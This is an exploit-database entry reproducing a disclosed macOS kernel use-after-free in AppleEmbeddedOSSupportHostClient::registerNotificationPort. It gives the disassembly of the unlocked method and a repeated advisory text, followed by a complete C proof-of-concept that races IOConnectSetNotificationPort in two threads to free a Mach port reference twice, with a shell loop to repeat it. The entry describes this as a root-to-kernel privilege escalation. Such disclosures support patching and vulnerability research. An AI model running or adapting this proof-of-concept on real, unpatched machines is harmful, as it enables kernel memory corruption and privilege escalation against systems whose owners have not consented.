ExploitFixes
macOS Kernel - Use-After-Free Due to Lack of Locking in 'AppleEmbeddedOSSupportHostClient::registerNotificationPort' 2018-02-09 17:05:02

/*
AppleEmbeddedOSSupportHost.kext is presumably involved in the communication with the OS running on the touch bar on new MBP models.

Here's the userclient's registerNotificationPort method:

__text:0000000000002DE4 ; AppleEmbeddedOSSupportHostClient::registerNotificationPort(ipc_port *, unsigned int, unsigned int)
__text:0000000000002DE4 push rbp
__text:0000000000002DE5 mov rbp, rsp
__text:0000000000002DE8 push r14
__text:0000000000002DEA push rbx
__text:0000000000002DEB mov r14, rsi
__text:0000000000002DEE mov rbx, rdi
__text:0000000000002DF1 mov rdi, [rbx+0E8h]
__text:0000000000002DF8 test rdi, rdi
__text:0000000000002DFB jz short loc_2E0D
__text:0000000000002DFD call __ZN12IOUserClient23releaseNotificationPortEP8ipc_port ; IOUserClient::releaseNotificationPort(ipc_port *)
__text:0000000000002E02 mov qword ptr [rbx+0E8h], 0
__text:0000000000002E0D
__text:0000000000002E0D loc_2E0D: ; CODE XREF: AppleEmbeddedOSSupportHostClient::registerNotificationPort(ipc_port *,uint,uint)+17j
__text:0000000000002E0D mov [rbx+0E8h], r14
__text:0000000000002E14 xor eax, eax
__text:0000000000002E16 pop rbx
__text:0000000000002E17 pop r14
__text:0000000000002E19 pop rbp
__text:0000000000002E1A retn

The IOUserClient superclass doesn't implement any locking for this method; it's up to the user client itself to correctly prevent
dangerous concurrent accesses.

By calling registerNotificationPort in two threads in parallel we can cause a AppleEmbeddedOSSupportHostClient to drop two references on a port when
it only holds one.

Note that AppleEmbeddedOSSupportHostClient is only reachable by root so this is a root -> kernel priv esc.

Repro like this: while true; do ./embedded_host; done

Please test on a machine which has a touchbar!
> kextstat | grep AppleEmbeddedOSSupport
should display something if it does.
*/

// ianbeer
#if 0
MacOS kernel uaf due to lack of locking in AppleEmbeddedOSSupportHostClient::registerNotificationPort

AppleEmbeddedOSSupportHost.kext is presumably involved in the communication with the OS running on the touch bar on new MBP models.

Here's the userclient's registerNotificationPort method:

__text:0000000000002DE4 ; AppleEmbeddedOSSupportHostClient::registerNotificationPort(ipc_port *, unsigned int, unsigned int)
__text:0000000000002DE4 push rbp
__text:0000000000002DE5 mov rbp, rsp
__text:0000000000002DE8 push r14
__text:0000000000002DEA push rbx
__text:0000000000002DEB mov r14, rsi
__text:0000000000002DEE mov rbx, rdi
__text:0000000000002DF1 mov rdi, [rbx+0E8h]
__text:0000000000002DF8 test rdi, rdi
__text:0000000000002DFB jz short loc_2E0D
__text:0000000000002DFD call __ZN12IOUserClient23releaseNotificationPortEP8ipc_port ; IOUserClient::releaseNotificationPort(ipc_port *)
__text:0000000000002E02 mov qword ptr [rbx+0E8h], 0
__text:0000000000002E0D
__text:0000000000002E0D loc_2E0D: ; CODE XREF: AppleEmbeddedOSSupportHostClient::registerNotificationPort(ipc_port *,uint,uint)+17j
__text:0000000000002E0D mov [rbx+0E8h], r14
__text:0000000000002E14 xor eax, eax
__text:0000000000002E16 pop rbx
__text:0000000000002E17 pop r14
__text:0000000000002E19 pop rbp
__text:0000000000002E1A retn

The IOUserClient superclass doesn't implement any locking for this method; it's up to the user client itself to correctly prevent
dangerous concurrent accesses.

By calling registerNotificationPort in two threads in parallel we can cause a AppleEmbeddedOSSupportHostClient to drop two references on a port when
it only holds one.

Note that AppleEmbeddedOSSupportHostClient is only reachable by root so this is a root -> kernel priv esc.

Repro like this: while true; do ./embedded_host; done

Please test on a machine which has a touchbar!
> kextstat | grep AppleEmbeddedOSSupport
should display something if it does.
#endif

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>

#include <mach/mach.h>
#include <mach/host_priv.h>

#include <IOKit/IOKitLib.h>

mach_port_t q() {
mach_port_t p = MACH_PORT_NULL;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
return p;
}

volatile int start = 0;
volatile mach_port_t conn;

void* racer(void* arg) {
while(!start){;}
IOConnectSetNotificationPort(conn, 0, MACH_PORT_NULL, 0);
return NULL;
}



int main() {
kern_return_t err;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("AppleEmbeddedOSSupportHost"));

if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}

conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}

mach_port_t p = q();

IOConnectSetNotificationPort(conn, 0, p, 0);

//mach_port_destroy(mach_task_self(), p);
// kernel holds the only ref


int n_threads = 2;
pthread_t threads[n_threads];
for(uint32_t i = 0; i < n_threads; i++) {
pthread_create(&threads[i], NULL, racer, NULL);
}

start = 1;

for(uint32_t i = 0; i < n_threads; i++) {
pthread_join(threads[i], NULL);
}

return 0;
}